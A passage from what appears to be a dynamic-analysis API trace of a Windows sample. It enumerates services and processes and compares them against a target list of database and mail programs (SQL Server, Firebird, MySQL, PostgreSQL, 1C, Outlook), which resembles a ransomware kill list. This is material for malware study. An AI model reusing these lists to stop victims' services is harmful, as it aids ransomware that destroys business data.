lpString2="EventSystem") returned 1 [0139.192] lstrlenW (lpString="gpsvc") returned 5 [0139.192] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0139.192] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0139.192] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0139.192] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0139.192] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0139.192] lstrlenW (lpString="LanmanWorkstation") returned 17 [0139.192] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0139.192] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0139.192] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0139.192] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0139.192] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0139.192] lstrlenW (lpString="lmhosts") returned 7 [0139.192] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0139.192] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0139.192] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0139.192] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0139.192] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0139.192] lstrlenW (lpString="MMCSS") returned 5 [0139.192] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0139.192] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0139.192] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0139.192] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0139.192] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0139.192] lstrlenW (lpString="MpsSvc") returned 6 [0139.192] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0139.193] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0139.193] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0139.193] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0139.193] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0139.193] lstrlenW (lpString="NlaSvc") returned 6 [0139.193] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0139.193] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0139.193] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0139.193] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0139.193] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0139.193] lstrlenW (lpString="nsi") returned 3 [0139.193] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0139.193] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0139.193] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0139.193] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0139.193] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0139.193] lstrlenW (lpString="PcaSvc") returned 6 [0139.193] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0139.193] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0139.193] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0139.193] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0139.193] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0139.193] lstrlenW (lpString="PlugPlay") returned 8 [0139.193] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0139.193] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0139.193] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0139.193] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0139.193] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0139.193] lstrlenW (lpString="Power") returned 5 [0139.193] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0139.193] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0139.193] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0139.194] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0139.194] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0139.194] lstrlenW (lpString="ProfSvc") returned 7 [0139.194] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0139.194] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0139.194] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0139.194] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0139.194] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0139.194] lstrlenW (lpString="RpcEptMapper") returned 12 [0139.194] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0139.194] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0139.194] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0139.194] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0139.194] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0139.194] lstrlenW (lpString="RpcSs") returned 5 [0139.194] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0139.194] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0139.194] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0139.194] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0139.194] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0139.194] lstrlenW (lpString="SamSs") returned 5 [0139.194] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0139.194] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0139.194] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0139.194] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0139.194] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0139.194] lstrlenW (lpString="Schedule") returned 8 [0139.194] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0139.194] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0139.194] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0139.194] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0139.194] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0139.195] lstrlenW (lpString="SENS") returned 4 [0139.195] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0139.195] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0139.195] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0139.195] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0139.195] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0139.195] lstrlenW (lpString="ShellHWDetection") returned 16 [0139.195] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0139.195] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0139.195] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0139.195] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0139.195] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0139.195] lstrlenW (lpString="Spooler") returned 7 [0139.195] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0139.195] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0139.195] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0139.195] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0139.195] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0139.195] lstrlenW (lpString="SysMain") returned 7 [0139.195] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0139.195] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0139.195] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0139.195] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0139.195] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0139.195] lstrlenW (lpString="Themes") returned 6 [0139.195] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0139.195] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0139.196] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0139.196] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0139.196] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0139.196] lstrlenW (lpString="TrkWks") returned 6 [0139.196] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0139.196] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0139.196] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0139.196] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0139.196] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0139.196] lstrlenW (lpString="UxSms") returned 5 [0139.196] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0139.196] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0139.196] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0139.196] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0139.196] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0139.196] lstrlenW (lpString="Winmgmt") returned 7 [0139.196] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0139.196] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0139.196] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0139.196] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0139.196] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0139.196] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41d77b8 | out: hHeap=0x300000) returned 1 [0139.196] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x210 [0139.199] Process32FirstW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0139.199] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0139.199] lstrlenW (lpString="System") returned 6 [0139.199] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0139.199] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0139.199] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0139.199] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0139.199] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0139.199] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0139.199] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0139.199] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0139.200] lstrlenW (lpString="smss.exe") returned 8 [0139.200] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0139.200] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0139.200] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0139.200] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0139.200] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0139.200] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0139.200] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0139.200] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0139.200] lstrlenW (lpString="csrss.exe") returned 9 [0139.200] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0139.200] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0139.200] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0139.200] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0139.200] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0139.200] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0139.200] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0139.200] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0139.201] lstrlenW (lpString="wininit.exe") returned 11 [0139.201] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0139.201] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0139.201] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0139.201] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0139.201] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0139.201] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0139.201] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0139.201] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0139.201] lstrlenW (lpString="csrss.exe") returned 9 [0139.201] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0139.201] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0139.201] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0139.201] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0139.201] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0139.202] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0139.202] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0139.202] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0139.202] lstrlenW (lpString="winlogon.exe") returned 12 [0139.202] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0139.202] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0139.202] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0139.202] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0139.202] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0139.202] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0139.202] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0139.202] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0139.202] lstrlenW (lpString="services.exe") returned 12 [0139.202] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0139.202] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0139.203] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0139.203] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0139.203] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0139.203] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0139.203] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0139.203] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0139.203] lstrlenW (lpString="lsass.exe") returned 9 [0139.203] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0139.203] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0139.203] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0139.203] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0139.203] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0139.203] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0139.203] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0139.203] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0139.204] lstrlenW (lpString="lsm.exe") returned 7 [0139.204] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0139.204] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0139.204] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0139.204] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0139.204] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0139.204] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0139.204] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0139.204] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0139.204] lstrlenW (lpString="svchost.exe") returned 11 [0139.204] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0139.204] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0139.204] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0139.204] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0139.204] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0139.204] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0139.204] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0139.204] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0139.205] lstrlenW (lpString="svchost.exe") returned 11 [0139.205] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0139.205] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0139.205] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0139.205] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0139.205] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0139.205] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0139.205] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0139.205] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0139.205] lstrlenW (lpString="svchost.exe") returned 11 [0139.205] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0139.205] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0139.206] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0139.206] lstrlenW (lpString="svchost.exe") returned 11 [0139.206] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0139.206] lstrlenW (lpString="svchost.exe") returned 11 [0139.207] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0139.207] lstrlenW (lpString="audiodg.exe") returned 11 [0139.207] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0139.208] lstrlenW (lpString="svchost.exe") returned 11 [0139.208] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0139.208] lstrlenW (lpString="svchost.exe") returned 11 [0139.208] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0139.208] lstrlenW (lpString="spoolsv.exe") returned 11 [0139.208] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0139.209] lstrlenW (lpString="taskhost.exe") returned 12 [0139.209] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0139.209] lstrlenW (lpString="svchost.exe") returned 11 [0139.209] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0139.209] lstrlenW (lpString="userinit.exe") returned 12 [0139.209] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0139.210] lstrlenW (lpString="dwm.exe") returned 7 [0139.210] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0139.210] lstrlenW (lpString="explorer.exe") returned 12 [0139.210] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x4b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0139.210] lstrlenW (lpString="3G6885.exe") returned 10 [0139.210] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, 